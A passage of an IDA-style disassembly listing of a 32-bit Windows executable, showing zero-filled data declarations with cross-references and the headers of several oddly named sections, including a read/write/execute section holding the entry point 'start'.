dword_515924 dd 0 ; ___:0041CA91w ...
dword_515928 dd 41h dup(0) dword_515A2C dd 0 ; ___:0041CF50w ...
dword_515A30 dd 0 dword_515A34 dd 0 ; sub_41C981:loc_41C9AAw ...
dword_515A38 dd 0 ; sub_41D6F3:loc_41D75Dw
align 10h
dword_515A40 dd 0 ; sub_41DD12+63w ...
align 8
dword_515A48 dd 0 ; sub_41DD12+46r
dword_515A4C dd 10h dup(0) word_515A8C dw 0 ; DATA XREF: sub_41DF70+A8r
word_515A8E dw 0 ; DATA XREF: sub_41DD12+54r
; sub_41DF70+DBr ...
word_515A90 dw 0 ; DATA XREF: sub_41DF70+CAr
word_515A92 dw 0 ; DATA XREF: sub_41DF70+D3r
; sub_41DF70:loc_41E062r
word_515A94 dw 0 ; DATA XREF: sub_41DF70+C0r
word_515A96 dw 0 ; DATA XREF: sub_41DF70+B8r
word_515A98 dw 0 ; DATA XREF: sub_41DF70+B0r
word_515A9A dw 0 ; DATA XREF: sub_41DF70+9Er
dword_515A9C dd 0 dword_515AA0 dd 10h dup(0) word_515AE0 dw 0 ; DATA XREF: sub_41DF70+46r
word_515AE2 dw 0 ; DATA XREF: sub_41DD12:loc_41DD89r
; sub_41DF70+78r ...
word_515AE4 dw 0 ; DATA XREF: sub_41DF70+67r
word_515AE6 dw 0 ; DATA XREF: sub_41DF70+70r
; sub_41DF70:loc_41DFF4r
word_515AE8 dw 0 ; DATA XREF: sub_41DF70+5Dr
word_515AEA dw 0 ; DATA XREF: sub_41DF70+55r
word_515AEC dw 0 ; DATA XREF: sub_41DF70+4Dr
word_515AEE dw 0 ; DATA XREF: sub_41DF70+3Er
dword_515AF0 dd 0 dword_515AF4 dd 0 ; sub_41DD12:loc_41DE5Er ...
dword_515AF8 dd 0 dword_515AFC dd 0 word_515B00 dw 0 ; DATA XREF: sub_41ECF8+1Ao
; sub_41ECF8+46r
byte_515B02 db 0 ; DATA XREF: sub_41ECF8+39r
align 4
dword_515B04 dd 7 dup(0) dword_515B20 dd 0 ; sub_41ECF8+5Co
dword_515B24 dd 0 dword_515B28 dd 0 dword_515B2C dd 0 dword_515B30 dd 0 ; resolved to->USER32.MessageBoxA ; sub_41EE5D+2Ew ...
dword_515B34 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_41EE5D:loc_41EEACr
dword_515B38 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_41EE5D+60r
dword_515B3C dd 0 dword_515B40 dd 0 ; sub_41FE42+48w ...
dword_515B44 dd 0 ; sub_4205FA+4Cw ...
dword_515B48 dd 0 ; sub_420885:loc_4208EFw
dword_515B4C dd 0 ; sub_41B9C1+14r ...
dd 4 dup(0)
dword_515B60 dd 400h dup(0) ; ___:0043BB80o
dword_516B60 dd 0 ; sub_41B515+56r ...
dd 7 dup(0)
dword_516B80 dd 0 ; sub_41B582+75r ...
dword_516B84 dd 3Fh dup(0) dword_516C80 dd 0 ; sub_41B65B+Cr ...
dword_516C84 dd 0 ; sub_41BFFC+65w ...
align 10h
dword_516C90 dd 3 dup(0) ; sub_41BFFC+171o ...
dword_516C9C dd 0 ; sub_41BFFC+15Dw ...
byte_516CA0 db 0 ; DATA XREF: sub_41C23B:loc_41C347w
; sub_41C23B:loc_41C364w ...
align 4
dd 3Fh dup(0)
byte_516DA0 db 0 ; DATA XREF: sub_41BFFC+5Co
; sub_41BFFC+AFo ...
byte_516DA1 db 0 ; DATA XREF: sub_418AA8+5Dr
; sub_41BFFC+A0w ...
align 4
dd 40h dup(0)
dword_516EA4 dd 0 ; sub_41BFFC+12Bw ...
dword_516EA8 dd 0 ; sub_41A2B6+32w
dword_516EAC dd 0 ; sub_419C82+259r ...
dword_516EB0 dd 0 ; sub_419FAD:loc_419FFDr ...
dword_516EB4 dd 0 ; sub_419C82+25Fr ...
dword_516EB8 dd 0 ; sub_419C82+2CAr ...
dword_516EBC dd 0 ; sub_419C82+2CFr ...
dword_516EC0 dd 0 ; sub_417C62+21r ...
dword_516EC4 dd 0 ; ___:0041CD09r
dword_516EC8 dd 0 dword_516ECC dd 0 ; sub_41C3C0+11w ...
dword_516ED0 dd 0 dword_516ED4 dd 0 ; sub_418FB9+57r
align 200h
___ ends
; Section 2. (virtual address 00117000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00117000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 517000h
align 2000h
_rsrc___ ends
; Section 3. (virtual address 00118000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 00118000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 518000h
dd 400h dup(0)
_idata__ ends
; Section 4. (virtual address 00119000)
; Virtual size : 000C5000 ( 806912.)
; Section size in file : 000C5000 ( 806912.)
; Offset to raw data for section: 00119000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
ud2_____ segment para public 'DATA' use32
assume cs:ud2_____
;org 519000h
dd 1C11h dup(0)
db 0
byte_520045 db 3 dup(0) ; DATA XREF: ___:0042AC08o
; ___:0042AC20o
dd 4003h dup(0)
db 0
byte_530055 db 3 dup(0) ; DATA XREF: ___:off_42AC04o
; ___:off_42AC1Co
dd 50FEh dup(0)
dword_544450 dd 2BCh dup(0) db 2 dup(0)
word_544F42 dw 0 ; DATA XREF: ___:off_424C78o
dd 103h dup(0)
dword_545350 dd 0AB45h dup(0) db 0
align 4
dd 3FF7h dup(0)
db 2 dup(0)
word_580046 dw 0 ; DATA XREF: ___:off_425F7Co
; ___:00425F84o ...
dd 13C1h dup(0)
db 2 dup(0)
word_584F4E dw 0 ; DATA XREF: ___:00429E28o
dd 0EC35h dup(0)
dword_5C0024 dd 0Eh dup(0) dword_5C005C dd 0E79h dup(0) db 0
byte_5C3A41 db 2 dup(0) ; DATA XREF: ___:off_42DE00o
byte_5C3A43 db 0 ; DATA XREF: ___:off_43AEF0o
dword_5C3A44 dd 44C5h dup(0) db 3 dup(0)
byte_5D4D5B db 0 ; DATA XREF: ___:off_43AE48o
dd 24A9h dup(0)
ud2_____ ends
; Section 5. (virtual address 001DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 001DE000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_gda_ segment para public 'CODE' use32
assume cs:_gda_
;org 5DE000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
public start
start dd 400h dup(0)
_gda_ ends
; Section 6. (virtual address 001DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 001DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 5DF000h
align 2000h
_idata2 ends
end start